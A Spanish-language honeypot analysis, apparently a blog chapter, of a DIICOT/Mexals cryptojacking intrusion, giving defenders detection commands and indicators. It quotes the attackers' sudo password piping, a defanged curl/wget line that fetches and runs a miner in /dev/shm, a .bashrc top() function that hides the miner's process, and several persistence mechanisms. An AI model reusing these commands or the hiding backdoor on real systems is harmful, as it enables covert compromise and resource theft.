DIICOT · Capítulo 23
El comando que miente
Dejé una contraseña puesta en un cebo y, un domingo, entraron por ella tres veces. Neutralicé lo que traían; lo que no vi hasta después fue lo que dejaron plantado — una línea en el .bashrc que hace que «top» mienta y esconda justo al proceso que se está comiendo la máquina. Un rootkit sin rootkit. Y al poner dos discos congelados uno al lado del otro apareció el detalle que lo cambia todo: la misma línea, con un número distinto.
Casi todo lo que llama a la puerta de un cebo es una máquina que escanea, prueba cuatro contraseñas y se va. Esto fue distinto — y no por cómo entró, sino por lo que dejó puesto.
Un domingo de septiembre entraron tres veces. La primera se fue sin clavar una uña; la última dejó la máquina sembrada. Y lo interesante no es ninguna de las tres por separado: es lo que se ve al ponerlas en fila.
Hay una cosa, además, que solo se ve porque congelé el disco después de cada visita — una foto del sistema de ficheros tal y como quedó. Tres fotos. Sin ellas, el hallazgo del final de este capítulo me habría pasado por delante sin verlo.
01Tres visitas, y un escalón cada vez
Lo primero que salta al comparar los tres discos es dónde está la frontera:
# el .bashrc de fábrica de esta máquina pesa 607 bytes
visita 1 primera hora de la tarde .bashrc 607 B sin cron sin preload
visita 2 por la noche .bashrc 774 B cron_d_9499 ld.so.preload
visita 3 hora y media más tarde .bashrc 774 B cron_d_4836 ld.so.preloadLa primera entró, midió la máquina, hizo lo suyo y se marchó sin dejar nada: el fichero de configuración de la shell del administrador sigue pesando lo que pesaba de fábrica, no hay tareas programadas nuevas, no hay palanca de arranque. Si el día se hubiera quedado ahí, yo tendría una muestra y poco más que contar.
La segunda fue la que se quedó: montó cinco vías de arraigo a la vez, el backdoor incluido. Y la tercera volvió hora y media después — desde la misma dirección que la segunda — y las reaplicó una por una, encima de las que ya estaban.
02Cómo mide la casa antes de instalarse
Todo bicho, nada más pisar una máquina, la mide: quiere saber qué CPU tiene y cuántos núcleos, porque de eso depende cuánto puede minar. Éste empieza por una prueba que me gustó encontrar:
printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filterEscribe un fichero, lo hace ejecutable, lo ejecuta, comprueba que la salida es la que esperaba y lo borra. El fichero es tonto — dos líneas. Lo que tiene enjundia es para qué sirve: es un test de si en esta carpeta se puede escribir y, sobre todo, ejecutar. Muchos servidores bien montados marcan sus directorios temporales como «aquí no se ejecuta nada», y el bicho lo comprueba antes de perder el tiempo bajando un binario que no va a poder lanzar.
Y justo después, el detalle que retrata a quien hay detrás:
echo '<contraseña>' | sudo -S sh -c 'nproc || /usr/bin/nproc || busybox nproc || grep -c ^processor /proc/cpuinfo'Léelo de izquierda a derecha: prueba nproc; si no está, lo intenta con la ruta completa; si tampoco, con busybox; y si nada de eso existe, cuenta a mano las líneas de un fichero del sistema. Cuatro caminos para averiguar un solo número. Y todo ello pasándole la contraseña a sudo por una tubería, para ganar permisos de administrador sin que nadie teclee nada.
Cada orden que lanza va envuelta así. Nadie escribe eso a mano tres veces en un día.
El resto del reconocimiento es corto y va al grano — qué sistema es, cuántos núcleos tiene, cuánto lleva encendido, si hay gráfica y de qué arquitectura es la CPU:
uname -s -v -n -m # sistema, versión, nombre de máquina y arquitectura
nproc # núcleos — de esto depende lo que puede minar
cat /proc/uptime # cuánto lleva encendida
grep -i vga ; grep -i nvidia # ¿hay tarjeta gráfica? tienen rama de GPU
uname -m # la arquitectura, a solas: la necesita para la descargaEse bloque no siempre viene tan corto. En su versión larga añade una pregunta que no tiene nada que ver con minar: se lleva la salida de last, que es la lista de quién se ha estado conectando a esta máquina. No vienen solo a por los núcleos — de paso apuntan quién entra y quién sale.
03La descarga
Con la máquina medida, baja la carga. Ésta es la orden entera, y merece leerse completa:
cd /dev/shm && ( curl -Lko .16 --retry 3 --retry-delay 3 --retry-connrefused \
hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) \
|| wget --tries=3 --no-check-certificate -O .16 hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) )
chmod +x .16 ; ./.16Tres cosas caracterizan esta línea, y las tres son decisiones conscientes.
No usa el disco: usa /dev/shm, que es una carpeta que en realidad vive en la memoria RAM. Lo que se escribe ahí desaparece al apagar la máquina y deja mucho menos rastro para quien investigue después.
Lleva curl y, si falla, wget — las dos herramientas habituales para descargar desde la línea de comandos. Cinturón y tirantes, el mismo patrón de la cascada de antes.
Y la arquitectura de la CPU no va escrita: se la pregunta a la máquina con $(uname -m) y pega la respuesta al final de la dirección. El servidor le devuelve entonces el binario compilado para esa CPU concreta. Un solo comando que sirve para un servidor x86 y para un router ARM.
El fichero se llama .16. El punto delante lo hace invisible a un listado normal, y el nombre — un número de dos cifras — es tan anodino que la vista resbala. Ese nombre va a volver dentro de un momento, y ahí está la gracia del capítulo.
La familia es DIICOT — también llamada Mexals —, un viejo conocido del cryptojacking documentado desde 2021 por Bitdefender, Akamai, Cado, Darktrace y Wiz. Qué es DIICOT no lo descubro yo aquí: está contado y bien contado. Lo que traigo es lo que se ve al mirar estos tres discos.
Y en una de las visitas posteriores no bajaron solo éste: bajaron también un segundo minero, de GPU, soltado con el nombre init. Es la respuesta a la pregunta por la tarjeta gráfica del apartado anterior — sí tenían rama de GPU y la trajeron consigo. Es ethminer, un minero de código abierto perfectamente legítimo — como lo es XMRig —, así que ojo con catalogarlo: lo que señala a estos no es el programa, es el nombre con el que lo sueltan. Y no llegó a correr: el neutralizador lo cazó antes de que arrancara, así que a qué cartera cobraba ése me quedé sin saberlo.
04El comando que miente
Aquí está el remate, y apareció revisando el disco a posteriori. En la segunda visita, el /root/.bashrc — el fichero que configura la shell del administrador — había pasado de 607 a 774 bytes. Una sola línea añadida al final:
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null \
| sed -e '/16/d' -e '/libbase\.sh/d' -e '/7704/d'; } || /usr/bin/top; tput cnorm; }Léela despacio, porque es una pequeña obra.
En Linux puedes redefinir un comando: escribir una función que se llame igual que un programa que ya existe. A partir de ese momento, cuando alguien teclea ese nombre no se ejecuta el programa de siempre — se ejecuta tu función. Es una característica normal de la shell, pensada para atajos cómodos. Aquí la usan para otra cosa.
El comando que han redefinido es top: el que todo administrador teclea cuando nota la máquina lenta, para ver qué se está comiendo la CPU. Y su versión falsa hace tres cosas — lanza el top de verdad, pasa su salida por un filtro, y disimula.
El filtro es lo que importa. sed -e '/16/d' significa, literalmente, «borra toda línea que contenga 16». Y 16 —te dije que ese nombre volvería— es el nombre con el que el minero se rebautiza al arrancar. Traducido:
El administrador abre top para ver qué le está comiendo la máquina, y justo el proceso que se la come es el único que no aparece.
El resto de la línea es orfebrería para que no se note. El script -q -c engaña a top haciéndole creer que hay una pantalla delante, porque si detecta que su salida va a una tubería se rompe y no pinta nada. Los tput civis y cnorm ocultan y restauran el cursor — también si pulsas Ctrl+C, gracias al trap — para que se vea idéntico al auténtico. Y si algo falla, el || /usr/bin/top del final ejecuta el de verdad, para no levantar sospechas ni con un error.
05Cinco vías para volver
El top falso es para esconderse. Para volver, la misma visita montó cinco cosas más, y las montó todas a la vez:
- un temporizador de systemd con nombre inocente, system-helper, que se dispara solo;
- dos tareas programadas en /etc/cron.d/ — una con nombre fijo y otra con un número al azar;
- un /etc/ld.so.preload, que es la palanca para colar una biblioteca dentro de todos los procesos nuevos del sistema;
- el backdoor del .bashrc de arriba;
- y el .profile retocado, para disparar también al iniciar sesión.
En el disco casi todas aparecen a cero bytes — las vació la contención — y al .profile le dejó el relleno en blanco. Del contenido de la mayoría me quedé sin nada; del nombre y la ubicación, sí. La del .bashrc es la excepción: sobrevivió entera.
Y del .profile sé lo que ponía aunque esté en blanco, porque los números encajan: el fichero pasó de 132 a 147 bytes, y los quince que le añadieron quedaron a cero. La línea que el minero le escribe ahí viaja dentro del propio binario y mide exactamente esos quince caracteres — source .bashrc. No hace falta el fichero para saber qué decía.
Pero cuidado con leer ese cero como si no hubiera pasado nada, porque el registro del núcleo dice otra cosa:
type=SERVICE_START unit=system-helper comm="systemd" res=success
comm="system-helper-r" ppid=1 # lo lanzó el propio sistema, no una sesiónEl temporizador se habilitó, arrancó y ejecutó su script. Ese ppid=1 es la firma de que quien lo puso en marcha fue el sistema por su cuenta, ya sin nadie conectado.
Y aquí está el detalle que más me gusta de todo el caso, porque resuelve el hueco sin necesidad de tener el fichero: systemd no arranca una unidad vacía. Si en el disco congelado el fichero está a cero pero el registro dice que el servicio arrancó bien, entonces tenía contenido cuando arrancó — el cero es posterior. No sé qué ponía dentro, pero sé que ponía algo y que funcionó.
Los dos ficheros que sobrevivieron llevan además la misma marca de tiempo, al segundo: las cinco vías no se van montando poco a poco, se plantan de una tacada.
Ponlo en contexto: por la tarde se fueron sin plantar nada, y unas horas después la máquina tenía cinco vías de arraigo y un comando que miente. Eso no es un kit que se dispara una vez y se olvida.
06El número que no cuadra
Vuelve a la línea del .bashrc y fíjate en lo que borra el filtro. Son tres cosas:
sed -e '/16/d' # el nombre del minero — cuadra
-e '/libbase\.sh/d' # un fichero que en mi máquina no existe
-e '/7704/d' # ¿un número suelto? ¿de dónde sale?El primero cuadra. El segundo es un fichero que busqué por todo el disco y no aparece. Y el tercero tiene pinta de ser el número de un proceso — lo que en Linux se llama un PID, el identificador que el sistema le asigna a cada programa en marcha. Pero los PID los reparte cada máquina sobre la marcha: no se saben de antemano.
Mi primera teoría fue que se les había colado la plantilla de otra víctima — que ese 7704 era el número de un proceso en otra máquina y lo habían copiado sin darse cuenta. Suena bien, apunta a chapuza y da buen titular.
Estaba equivocado. Y lo descubrí porque tenía un disco más.
Lo primero: ese número es de esta máquina. La auditoría del núcleo lo confirma — durante esa visita, el proceso 7704 estuvo vivo aquí dentro, lanzando sus propios hijos. Es el número del bicho, en esa visita concreta.
Y lo segundo es lo que cierra el asunto. La tercera visita volvió y reinstaló el mismo backdoor. Puestos uno al lado del otro:

La misma línea, letra por letra, con un número distinto. Los dos nombres — 16 y libbase.sh — son constantes de fábrica. El número es lo único que cambia de una instalación a la siguiente, y coincide con el proceso que la está escribiendo.
Así que si administras servidores, esto es lo que hay que buscar, y cuesta un segundo:
declare -f top crontab kill # si devuelven código, ahí lo tienes
grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc /root/.bashrc /etc/profile.d/*
grep -rl 'libbase\.sh' /etc /usr/local /root ~Pregunto por tres comandos y no por uno porque top es el único que encontré instalado aquí — los otros dos aparecen preparados dentro del binario, listos para escribirse, y los abro en el capítulo siguiente.
Lo que no sé todavía es quién escribe ese número. Porque si cambia en cada instalación y coincide con un proceso que estaba vivo, algo lo está averiguando y pegándolo ahí sobre la marcha, en cuestión de segundos. La respuesta no está en el disco: está dentro del minero, y para sacarla hay que abrirlo.
07Indicadores (IOCs)
Los de esta captura. Los de dentro del binario — a quién le paga y quién rellena ese hueco — van en el capítulo siguiente.
| Tipo | Valor |
|---|---|
| IPs de origen | 92.118.39.77 (primera visita) · 62.171.133.1 (segunda y tercera — la misma, reincidente) |
| Segunda carga | ethminer soltado con el nombre init — software legítimo: lo que señala es el nombre del despliegue, no el programa |
| Servidor de reparto | hxxp://5.189.149[.]171/f/brute/m/.16_<arch> — ruta estructurada: campaña / tipo / arquitectura |
| Backdoor de shell — la firma | una función top() en .bashrc que pasa top por un sed borrando 16, libbase.sh y un número variable. ⚠️ Ese número no se repite entre víctimas: no lo busques a él, busca la forma de la línea. |
| Detección barata | declare -f top crontab kill · grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc |
| Nombre de proceso / fichero | 16 · /dev/shm/.16 · /root/.16 |
| Persistencia | system-helper (temporizador de systemd) · /etc/cron.d/cron_d_<n> · /etc/ld.so.preload · /root/.profile |
| Componente de enganche | libbase.sh — referenciado por el backdoor; no llegó a escribirse aquí |
| Sonda de capacidad | printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter |
| Reconocimiento | uname -s -v -n -m · nproc · cat /proc/uptime · grep -i vga / nvidia · cascada de cuatro alternativas hasta busybox |
| Elevación de privilegios | echo '<pass>' | sudo -S sh -c '…' — credencial por tubería en cada orden |
| SHA-256 (minero) | a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 |
El que más aguanta no es ningún hash — esos cambian a cada recompilación. Es la forma del backdoor: un top que es una función en vez de un programa. Un gesto tan anómalo que se caza con una sola orden, y que sobrevive a todas las recompilaciones que quieran hacer.
Continuará — me llevé la muestra del minero. Dentro está la respuesta a quién rellena ese hueco, y de paso a quién le paga: una cartera escondida detrás de un cifrado que da risa. Lo abro con Ghidra en el Capítulo 24. 🍯
Comentarios